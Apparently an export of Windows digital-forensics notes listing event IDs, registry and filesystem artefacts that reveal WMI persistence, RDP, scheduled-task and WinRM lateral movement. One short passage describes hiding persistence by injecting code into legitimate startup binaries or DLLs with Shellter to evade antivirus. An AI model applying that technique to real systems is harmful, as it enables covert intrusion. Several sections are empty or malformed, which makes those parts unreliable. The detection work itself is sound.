| `Security`                                                                | 4688                                                                                     | <p>Requires <code>Audit process tracking</code> to be enabled.<br><br>For the process arguments to be logged, <code>Include command line in process creation events</code> must be enabled as well.</p> | <p>Event <code>4688: A new process has been created</code>.<br><br>Can be used to track the execution of the aforementioned process related to <code>WMI</code> activity.</p> | <p>Current logged-on user's domain, username and <code>LogonID</code>.<br><br>Parent and child process.<br><br>Process command line if enabled.</p> |
| `Microsoft-Windows-WMI-Activity/Operational`                              | 5858                                                                                     |                                                                                                                                                                                                         | <p>Event <code>5858: Operation\_ClientFailure</code>.<br><br></p>                                                                                                             | Client machine hostname, domain and username of the user, and details about the failed operation.                                                   |
| `Microsoft-Windows-WMI-Activity/Operational`                              | 5859                                                                                     |                                                                                                                                                                                                         | Event `5859: Operation_EssStarted:` .                                                                                                                                         |                                                                                                                                                     |
| `Microsoft-Windows-WMI-Activity/Operational`                              | 5860                                                                                     |                                                                                                                                                                                                         | Event `5860: Operation_TemporaryEssStarted`.                                                                                                                                  |                                                                                                                                                     |
| `Microsoft-Windows-WMI-Activity/Operational`                              | 5861                                                                                     |                                                                                                                                                                                                         | Event `5861: Operation_ESStoConsumerBinding`.                                                                                                                                 |                                                                                                                                                     |
| <p>Shimcache<br><br>Amcache<br><br>Other process execution artefacts.</p> | <p><code>HKLM\SYSTEM</code> registry hive<br><br><code>Amcache.hve</code><br><br>...</p> |                                                                                                                                                                                                         | <p>Programs execution Windows artefacts.<br><br>Can be used to track the execution of the aforementioned binaries.</p>                                                        | The information yield will depend on the given artifact, but will generally be limited.                                                             |

### Legitimate startup PE hooking

One of the most covert technique to implement persistence on a system is through the hooking of a legitimate `Portable Executable (PE)` (executable and DLL) that normally starts up after boot time or whenever an user logs in.

For example, malicious code can be injected into a legitimate binary using a PE infector such as `Shellter`. If done correctly, the injection will not alter the normal functioning of the legitimate binary and is likely to evade anti-virus detection. For even more stealthiness, the injection can be conducted in a DLL loaded by a legitimate program, as loaded DLL are not enumerated by the `Sysinternals`' `Autoruns` utility. An actually loaded DLL can be modified or the path of a loaded DLL may be hijacked.

While PE injection invalidates the digital signature of the file, many legitimates PE are not digitally signed, or are signed by an unrecognized authority, and verifications of digital signatures are bound to raise an important volume of false-positives.

**Filesystem**

Detecting PE hooking is a **difficult and fallible process**. An analysis of the NTFS partition's `$MFT` and `$UsnJrnl` entries can give information about the creation and modification of legitimate PE on the system. Refer to the `DFIR - Filesystem history` note for more information. Additionally, if the malware strain could be retrieved, a reverse engineering of its functionalities may permit the identification of `Indice of Compromise (IoC)` for later detection.

***

### References

<https://www.mandiant.com/resources/windows-management-instrumentation-wmi-offense-defense-and-forensics>

<https://netsecninja.github.io/dfir-notes/wmi-forensics/>

<https://www.mandiant.com/sites/default/files/2021-09/wp-windows-management-instrumentation.pdf>

<https://www.youtube.com/watch?v=xrd0w505aS8>


# Lateral movement

**Windows DFIR notes are no longer maintained on InfoSec-Notes. Updated versions can be found on:** [**artefacts.help**](https://artefacts.help/)**.**

**The artefacts generated independently of the lateral movement technics used are introduced in the `[DFIR] Windows - Account Usage` note. The artefacts presented below are associated with a given lateral movement technique.**

### Remote Desktop artefacts

#### Destination machine

| Artefact                                    | Location                                                                                              | Conditions                                                                              | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Information yield                                                                                                                                                                                                                                      |
| ------------------------------------------- | ----------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| EVTX                                        | `Security.evtx`                                                                                       | Default configuration.                                                                  | <p>Event <code>4624: An account was successfully logged on</code>.<br><br><code>LogonType</code> field:<br><br><code>LogonType 10</code> for standard <code>RemoteInteractive</code> authentication.<br><br>Replaced by <code>LogonType 7</code> (<code>This workstation was unlocked</code>) for existing session unlocking.<br><br>Replaced by <code>LogonType 3</code> for <code>RDP</code> <code>RestrictedAdmin</code> mode.<br><br>Eventual prior event <code>4624</code> <code>LogonType 3</code> for <code>NLA</code> authentication.</p> | <p>Source user domain and username.<br><br>Source machine hostname / IP.</p>                                                                                                                                                                           |
| EVTX                                        | `Security.evtx`                                                                                       | Requires `Audit Other Logon/Logoff Events`.                                             | <p>Event <code>4778: A session was reconnected to a Window Station</code>.<br><br>Event <code>4779: A session was disconnected from a Window Station</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                  | <p>Source user domain and username.<br><br>Source machine hostname / IP.</p>                                                                                                                                                                           |
| EVTX                                        | `Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx`                        | Default configuration.                                                                  | <p>Event <code>1149: Remote Desktop Services: User authentication succeeded</code><br><br><strong>Does not indicate a successful session opening but an access to the Windows login screen.</strong> This event is however only generated upon successful authentication if <code>Network Level Authentication (NLA)</code> is required.</p>                                                                                                                                                                                                      | <p>Source user domain and username.<br><br>Source machine IP.<br><br>This event followed by unusual / suspicious activity of <code>NT AUTHORITY\SYSTEM</code> may indicate the use of a <code>Sticky Keys</code> or <code>Utilman</code> backdoor.</p> |
| EVTX                                        | `Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational`                                 | Default configuration.                                                                  | <p>Event <code>21: Remote Desktop Services: Session logon succeeded</code>.<br><br>Event <code>22: Remote Desktop Services: Shell start notification received</code>.<br><br>Event <code>23: Remote Desktop Services: Session logoff succeeded</code>.<br><br>Event <code>25: Remote Desktop Services: Session reconnection succeeded</code>.<br><br>With <code>Source Network Address</code> != <code>LOCAL</code>.</p>                                                                                                                          | <p>Source user domain and username.<br><br>Source machine IP.<br><br></p>                                                                                                                                                                              |
| EVTX                                        | `Microsoft-WindowsRemoteDesktopServicesRdpCoreTS%4Operational.evtx`                                   | <p>Default configuration.<br><br>Introduced in <code>>= Windows Server 2012</code>.</p> | <p>Event <code>131: The server accepted a new TCP connection from client \<IP></code>.<br><br><strong>Does not indicate a successful session opening but a network access to the RDS service.</strong></p>                                                                                                                                                                                                                                                                                                                                        | Source machine IP.                                                                                                                                                                                                                                     |
| Prefetch                                    | `C:\Windows\Prefetch\`                                                                                | Only generated on Windows desktop OS by default.                                        | <p>Prefetch files related to <code>RDP</code> activity:<br><br><code>TSTHEME.EXE-\<RANDOM>.pf</code><br><br><code>RDPCLIP.EXE-\<RANDOM>.pf</code></p>                                                                                                                                                                                                                                                                                                                                                                                             | Timestamp of last runs and overall number of executions.                                                                                                                                                                                               |
| <p>Filesystem<br><br>MFT<br><br>UsnJrnl</p> | <p><code>C:\Windows\Prefetch\</code><br><br><code>$MFT</code><br><br><code>$Extend$UsnJrnl</code></p> | Only generated on Windows desktop OS by default.                                        | <p>Entries for Prefetch files related to <code>RDP</code> activity:<br><br><code>TSTHEME.EXE-\<RANDOM>.pf</code><br><br><code>RDPCLIP.EXE-\<RANDOM>.pf</code></p>                                                                                                                                                                                                                                                                                                                                                                                 | <p>The most recent Prefetch file <code>LastModified</code> timestamp correspond to the last <code>RDP</code> activity.<br><br>The <code>MFT</code> and <code>UsnJrnl</code> may yield information about <code>RDP</code> historic activity.</p>        |
| <p>Shimcache<br><br>Amcache</p>             | <p><code>HKLM\SYSTEM</code> registry hive<br><br><code>Amcache.hve</code></p>                         | Unreliably generated.                                                                   | Entries for `rdpclip.exe` and / or `tstheme.exe`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                        |

#### Source machine

| Artefact | Location                                                                                                                         | Conditions                                                                                                                                                                                              | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Information yield                                                                                                                                                                                                                                  |
| -------- | -------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| EVTX     | `Security.evtx`                                                                                                                  | <p>Default configuration.<br><br>Only logged if <code>NLA</code> is enabled on the destination AND alternate credentials are used.</p>                                                                  | <p>Event <code>4648: A logon was attempted using explicit credentials</code>.<br><br>Legacy:<br>Events <code>552: Logon attempt using explicit credentials</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                              | <p>Current logged-on user's domain and username.<br><br>Alternate user's domain and username.<br><br>Destination machine's hostname. The <code>Network Information</code> section only yields information about the client.</p>                    |
| EVTX     | `Microsoft-WindowsTerminalServicesRDPClient%4Operational.evtx`                                                                   | Default configuration.                                                                                                                                                                                  | <p>Event <code>1024: RDP ClientActiveX is trying to connect to the server (\<HOSTNAME>)</code>.<br><br>Event <code>1102: The client has initiated a multi-transport connection to the server \<IP></code>.<br><br>Event <code>1029: Base64(SHA256(UserName)) is = \<HASH></code>.<br><a href="https://gchq.github.io/CyberChef/#recipe=Decode_text(&#x27;UTF-8%20(65001)&#x27;)Encode_text(&#x27;UTF-16LE%20(1200)&#x27;)SHA2(&#x27;256&#x27;,64,160)From_Hex(&#x27;Space&#x27;)To_Base64(&#x27;A-Za-z0-9%2B/%3D&#x27;)&#x26;input=QWRtaW5pc3RyYXRvcg">This <code>CyberChef</code> formula</a> can be used to compute the hash.</p> | <p>Current logged-on user's domain and username.<br><br>Event <code>1024</code>: destination machine's hostname.<br><br>Event <code>1102</code>: destination machine's IP.</p>                                                                     |
| Registry | <p><code>C:\Users\&#x3C;USERNAME>\NTUSER.DAT</code><br><code>NTUSER\Software\Microsoft\Terminal Server Client\Servers</code></p> | Default configuration.                                                                                                                                                                                  |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                    |
| EVTX     | `Security.evtx`                                                                                                                  | <p>Requires <code>Audit process tracking</code> to be enabled.<br><br>For the process arguments to be logged, <code>Include command line in process creation events</code> must be enabled as well.</p> | <p>Event <code>4688: A new process has been created</code>.<br><br><code>New Process Name</code>: <code>C:\Windows\System32\mstsc.exe</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | <p>Current logged-on user's domain, username and <code>LogonID</code>.<br><br>Parent process.<br><br>If the destination machine is specified in the command line, and the command line logged, yields the destination machine's hostname / IP.</p> |

(SourceName = 'Microsoft-Windows-TerminalServices-LocalSessionManager' AND (EventID = 21 or EventID = 22 or EventID = 23 or EventID = 24 or EventID = 25 or EventID = 39 or EventID = 40)) (SourceName = 'Microsoft-Windows-TerminalServices-RemoteConnectionManager' AND EventID = 1149)"

### PsExec artefacts

### Remote Scheduled Tasks artefacts

*Remote job schedule registration, execution and deletion*

Location : Victim `Microsoft-Windows-TaskScheduler%4Operational.evtx` hive.

Artifact : Task Scheduler Event Log(since win7)

* Registering Job schedule ID : 106
  * Account Name used to registration
  * Job Name : Usually “At#” form
* Starting Job schedule ID : 200
  * The path of file executed for job
* Deleting Job schedule ID : 141

  * Account Name used for the deletion

  The creation, execution and deletion of a scheduled task will notably, in addition to `Security` `EID 4624` and `EID 4672` events, generate the following Windows events:

  * `Microsoft-Windows-TaskScheduler/Operational` hive, `EID 106: User "<DOMAIN | HOSTNAME>\<USERNAME> | <SID>" registered Task Scheduler task "\<TASK_NAME>"`.
  * `Microsoft-Windows-TaskScheduler/Operational` hive, `EID 140: User "<DOMAIN | HOSTNAME>\<USERNAME> | <SID>" updated Task Scheduler task "\<TASK_NAME>"`.
  * `Microsoft-Windows-TaskScheduler/Operational` hive, `EID 141: User "<DOMAIN | HOSTNAME>\<USERNAME> | <SID>" deleted Task Scheduler task "\<TASK_NAME>"`.
  * `Microsoft-Windows-TaskScheduler/Operational` hive, `EID 129: Task Scheduler launch task "\<TASK_NAME>", instance "<INSTANCE>" with process ID <PID>`.
  * `Microsoft-Windows-TaskScheduler/Operational` hive, `EID 100: Task Scheduler started "<INSTANCE>" instance of the "\<TASK_NAME>" task for user "NT AUTHORITY\SYSTEM | <DOMAIN | HOSTNAME>\<USERNAME> | <SID>"`.
  * `Microsoft-Windows-TaskScheduler/Operational` hive, `EID 140: User "<DOMAIN | HOSTNAME>\<USERNAME> | <SID>" updated Task Scheduler task "\<TASK_NAME>"`.
  * `Security`, if `Audit object access` is enabled for `Success` and `Failure`, `EID 4698: A scheduled task was created`. Includes the scheduled task detailed configuration (author, triggers, executing user, command and eventual command argument, etc.) and can be correlated to a logon session using the event `Logon ID`.
  * `Security`, if `Audit object access` is enabled for `Success` and `Failure`, `EID 4702: A scheduled task was updated`. Specifies the user at the origin of the modification, the task name of the updated scheduled task and can be correlated to a logon session using the event `Logon ID`.
  * `Security`, if `Audit object access` is enabled for `Success` and `Failure`, `EID 4699: A scheduled task was deleted`. Specifies the user at the origin of the modification, the task name of the updated scheduled task and can be correlated to a logon session using the event `Logon ID`.

### Remote Windows Services artefacts

### WMI artefacts

### WinRM artefacts

\| Microsoft-Windows-WinRM/Operational | 6 | X | `Creating WSMan Session`.\
Logged on the client host. The event connection string field include the remote host address. | | Microsoft-Windows-WinRM/Operational | 91 | X | `Session creation`. | | Microsoft-Windows-WinRM/Operational | 161 | X | `The client cannot connect to the destination specified in the request.`\
Error event, logged on the remote system.\
The `User` and `Computer` event fields provide information on the client. | | Microsoft-Windows-WinRM/Operational | 168 | X | `Session creation`. |

WinRM Operational event log entries indicating authentication prior to PowerShell remoting on an accessed system • Event ID 169: “User \[DOMAIN\Account] authenticated successfully using \[authentication\_protocol]”

System event log entries indicating a configuration change to the Windows Remote Management service: ○ Event ID 7040 “The start type of the Windows Remote Management (WS-Management) service was changed from \[disabled / demand start] to auto start.” – recorded when PowerShell remoting is enabled. ○ Event ID 10148 (“The WinRM service is listening for WS-Management requests”) – recorded upon reboot on systems where remoting has been enabled.

WinRM Operational event log entries indicating authentication prior to PowerShell remoting on an accessed system: ○ Event ID 169 (“User \[DOMAIN\Account] authenticated successfully using \[authentication\_protocol]”)

### DCOM artefacts

***

### References

<https://dfironthemountain.wordpress.com/2019/02/15/rdp-event-log-dfir/>

<https://digital-forensics.sans.org/media/SANS\\_Poster\\_2018\\_Hunt\\_Evil\\_FINAL.pdf>

<https://jpcertcc.github.io/ToolAnalysisResultSheet/details/mstsc.htm>

<https://nullsec.us/windows-rdp-related-event-logs-the-client-side-of-the-story/>

<https://ponderthebits.com/2018/02/windows-rdp-related-event-logs-identification-tracking-and-investigation/>

<https://purerds.org/remote-desktop-security/auditing-remote-desktop-services-logon-failures-1/>

<https://repo.zenk-security.com/Forensic/A-forensic-analysis-of-apt-lateral-movement-in-windows-environment.pdf>

<https://salt4n6.com/2019/09/22/event-id-1024/>

<https://www.13cubed.com/downloads/rdp\\_flowchart.pdf>

<https://www.andreafortuna.org/2020/06/04/windows-forensic-analysis-some-thoughts-on-rdp-related-event-ids/>

<https://www.manageengine.com/products/active-directory-audit/kb/windows-security-log-event-id-X.html>

<https://www.youtube.com/watch?v=qxPoKNmnuIQ>




---

[Next Page](/llms-full.txt/1)

